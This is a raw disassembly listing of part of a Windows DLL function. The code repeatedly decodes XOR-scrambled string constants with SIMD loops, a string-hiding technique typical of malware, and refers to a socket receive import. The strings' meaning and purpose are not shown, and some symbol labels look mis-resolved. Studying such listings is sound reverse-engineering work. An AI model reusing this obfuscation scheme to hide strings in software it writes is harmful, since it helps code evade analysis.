lea rcx, [rbp + 0x1178]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1198]
call fcn.18003e1a0
lea rax, [rbp + 0x8c8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b446b]
lea rcx, [rbp + 0x8c8]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.SDHfVRRXM_]
movsd qword [rbp + 0x438], xmm0
movzx ecx, word [0x180183208]
mov word [rbp + 0x440], cx
cmp byte [0x180183209], 0
je 0x1800c675a
mov byte [rbp + 0x438], 0x65
xor byte [rbp + 0x439], 0x37
xor byte [rbp + 0x43a], 0x38
xor byte [rbp + 0x43b], 0x39
xor byte [rbp + 0x43c], 0x3a
xor byte [rbp + 0x43d], 0x3b
xor byte [rbp + 0x43e], 0x3c
xor byte [rbp + 0x43f], 0x3d
xor byte [rbp + 0x440], 0x3e
xor byte [rbp + 0x441], 0x3f
xorps xmm0, xmm0
movups xmmword [rbp + 0x11d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x11e8], xmm1
lea rax, [rbp + 0x438]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800c6780
lea rdx, [rbp + 0x438]
lea rcx, [rbp + 0x11d8]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x11d8]
lea rcx, [rbp + 0x11b8]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x11d8]
call fcn.18003e1a0
lea rax, [rbp + 0x8d8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b446a]
lea rcx, [rbp + 0x8d8]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.SDHfYTNS_M_.:C]
movsd qword [rbp + 0x628], xmm0
mov edx, dword [0x180183218]
mov dword [rbp + 0x630], edx
movzx ecx, word [0x18018321c]
mov word [rbp + 0x634], cx
cmp byte [0x18018321d], 0
je 0x1800c69d3
mov r8d, edi
cmp r15d, 2
jl 0x1800c698d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.SDHfYTNS_M_.:C]
xorps xmm1, xmm0
movd dword [rbp + 0x628], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x62c]
xorps xmm2, xmm1
movd dword [rbp + 0x62c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x630], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x628]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800c69a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1218], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1228], xmm1
lea rax, [rbp + 0x628]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c69f2
lea rdx, [rbp + 0x628]
lea rcx, [rbp + 0x1218]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1218]
lea rcx, [rbp + 0x11f8]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1218]
call fcn.18003e1a0
lea rax, [rbp + 0x8e8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4380]
lea rcx, [rbp + 0x8e8]
call fcn.18008cc10
mov rbx, rax
movups xmm2, xmmword [str.WSUPTdYNN_3__1__H]
movups xmmword [rbp + 0xa50], xmm2
movzx ecx, word [0x180183230]
mov word [rbp + 0xa60], cx
movzx ecx, byte [0x180183232]
mov byte [rbp + 0xa62], cl
mov r8d, edi
cmp r15d, 2
jl 0x1800c6c64
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa50], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa54]
xorps xmm2, xmm1
movd dword [rbp + 0xa54], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa58]
xorps xmm2, xmm1
movd dword [rbp + 0xa58], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa5c]
xorps xmm2, xmm1
movd dword [rbp + 0xa5c], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xa50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800c6c80
xorps xmm0, xmm0
movups xmmword [rbp + 0x1258], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1268], xmm1
lea rax, [rbp + 0xa50]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c6cd2
lea rdx, [rbp + 0xa50]
lea rcx, [rbp + 0x1258]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1258]
lea rcx, [rbp + 0x1238]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1258]
call fcn.18003e1a0
lea rax, [rbp + 0x8f8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4381]
lea rcx, [rbp + 0x8f8]
call fcn.18008cc10
mov rbx, rax
movups xmm2, xmmword [str.WSUPTdYNN____7EWSUPTdPTMK_]
movups xmmword [rbp + 0x908], xmm2
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x1800c6f73
mov r8d, edi
cmp r15d, 2
jl 0x1800c6f3a
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x908], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90c]
xorps xmm2, xmm1
movd dword [rbp + 0x90c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x910]
xorps xmm2, xmm1
movd dword [rbp + 0x910], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x914]
xorps xmm2, xmm1
movd dword [rbp + 0x914], xmm2
jmp 0x1800c6f73
lea r9, [rbp + 0x908]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1800c6f41
xorps xmm0, xmm0
movups xmmword [rbp + 0x1298], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x12a8], xmm1
lea rax, [rbp + 0x908]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c6f92
lea rdx, [rbp + 0x908]
lea rcx, [rbp + 0x1298]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1298]
lea rcx, [rbp + 0x1278]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1298]
call fcn.18003e1a0
lea rax, [rbp + 0x918]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4382]
lea rcx, [rbp + 0x918]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [0x180183248]
movsd qword [rbp + 0x4a8], xmm0
movzx edx, word [0x180183250]
mov word [rbp + 0x4b0], dx
movzx ecx, byte [0x180183252]
mov byte [rbp + 0x4a8], 0x61
xor byte [rbp + 0x4a9], 0x37
xor byte [rbp + 0x4aa], 0x38
xor byte [rbp + 0x4ab], 0x39
xor byte [rbp + 0x4ac], 0x3a
xor byte [rbp + 0x4ad], 0x3b
xor byte [rbp + 0x4ae], 0x3c
xor byte [rbp + 0x4af], 0x3d
xor dl, 0x3e
mov byte [rbp + 0x4b0], dl
xor byte [rbp + 0x4b1], 0x3f
xor cl, 0x40
mov byte [rbp + 0x4b2], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x12d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x12e8], xmm1
lea rax, [rbp + 0x4a8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c70a2
lea rdx, [rbp + 0x4a8]
lea rcx, [rbp + 0x12d8]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x12d8]
lea rcx, [rbp + 0x12b8]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x12d8]
call fcn.18003e1a0
lea rax, [rbp + 0x808]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4461]
lea rcx, [rbp + 0x808]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.BVJ_OcSN3A]
movsd qword [rbp + 0x518], xmm0
mov ecx, dword [0x180183260]
mov dword [rbp + 0x520], ecx
cmp byte [0x180183263], 0
je 0x1800c72e2
mov r8d, edi
cmp r15d, 2
jl 0x1800c729d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.BVJ_OcSN3A]
xorps xmm1, xmm0
movd dword [rbp + 0x518], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x51c]
xorps xmm2, xmm1
movd dword [rbp + 0x51c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x520], xmm2
jmp 0x1800c72e2
lea r9, [rbp + 0x518]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800c72b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1318], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1328], xmm1
lea rax, [rbp + 0x518]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c7301
lea rdx, [rbp + 0x518]
lea rcx, [rbp + 0x1318]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1318]
lea rcx, [rbp + 0x12f8]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1318]
call fcn.18003e1a0
lea rax, [rbp + 0x928]
mov qword [rsp + 0x50], rax
lea rdx, [0x1801ae928]
lea rcx, [rbp + 0x928]
call fcn.18008cb70
mov rbx, rax
movsd xmm0, qword [str.SDHfROI_Q_B]
movsd qword [rbp + 0x5b8], xmm0
mov edx, dword [0x180183270]
mov dword [rbp + 0x5c0], edx
movzx ecx, byte [0x180183274]
mov byte [rbp + 0x5c4], cl
mov r8d, edi
cmp r15d, 2
jl 0x1800c7500
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.SDHfROI_Q_B]
xorps xmm1, xmm0
movd dword [rbp + 0x5b8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5bc]
xorps xmm2, xmm1
movd dword [rbp + 0x5bc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x5c0], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x5b8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800c7510
xorps xmm0, xmm0
movups xmmword [rbp + 0x1358], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1368], xmm1
lea rax, [rbp + 0x5b8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c7562
lea rdx, [rbp + 0x5b8]
lea rcx, [rbp + 0x1358]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1358]
lea rcx, [rbp + 0x1338]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1358]
call fcn.18003e1a0
lea rax, [rbp + 0x938]
mov qword [rsp + 0x50], rax
lea rdx, [0x1801ae922]
lea rcx, [rbp + 0x938]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.BR_MeTIIRV._B]
movsd qword [rbp + 0x5c8], xmm0
mov edx, dword [0x180183280]
mov dword [rbp + 0x5d0], edx
movzx ecx, byte [0x180183284]
mov byte [rbp + 0x5d4], cl
mov r8d, edi
cmp r15d, 2
jl 0x1800c7761
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.BR_MeTIIRV._B]
xorps xmm1, xmm0
movd dword [rbp + 0x5c8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5cc]
xorps xmm2, xmm1
movd dword [rbp + 0x5cc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x5d0], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x5c8]
add r9, rax
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800c7770
xorps xmm0, xmm0
movups xmmword [rbp + 0x1398], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x13a8], xmm1
lea rax, [rbp + 0x5c8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c77c2
lea rdx, [rbp + 0x5c8]
lea rcx, [rbp + 0x1398]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x1398]
lea rcx, [rbp + 0x1378]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x1398]
call fcn.18003e1a0
lea rax, [rbp + 0x948]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802b4462]
lea rcx, [rbp + 0x948]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.RKM_U_XaV.B]
movsd qword [rbp + 0x5d8], xmm0
mov edx, dword [0x180183290]
mov dword [rbp + 0x5e0], edx
movzx ecx, byte [0x180183294]
mov byte [rbp + 0x5e4], cl
mov r8d, edi
cmp r15d, 2
jl 0x1800c79c1
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.RKM_U_XaV.B]
xorps xmm1, xmm0
movd dword [rbp + 0x5d8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5dc]
xorps xmm2, xmm1
movd dword [rbp + 0x5dc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x5e0], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x5d8]
add r9, rax
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800c79d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x13d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x13e8], xmm1
lea rax, [rbp + 0x5d8]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1800c7a22
lea rdx, [rbp + 0x5d8]
lea rcx, [rbp + 0x13d8]
call fcn.18003d5d0
nop
lea rdx, [rbp + 0x13d8]
lea rcx, [rbp + 0x13b8]
call fcn.180073480
mov rdx, rax
lea rcx, [rbp + 0x17e0]
call fcn.18006f780
nop
mov rdx, rbx
mov rcx, rax
call fcn.18006f710
nop
lea rcx, [rbp + 0x13d8]
call fcn.18003e1a0
lea rax, [rbp + 0x958]
mov qword [rsp + 0x50], rax
lea rdx, [0x1801ae921]
lea rcx, [rbp + 0x958]
call fcn.18008cc10
mov rbx, rax
movsd xmm0, qword [str.E_WNe_UNJ._C]
movsd qword [rbp + 0x6d8], xmm0
mov edx, dword [0x1801832a0]
mov dword [rbp + 0x6e0], edx
movzx ecx, word [0x1801832a4]
mov word [rbp + 0x6e4], cx
cmp byte [0x1801832a5], 0
je 0x1800c7c73
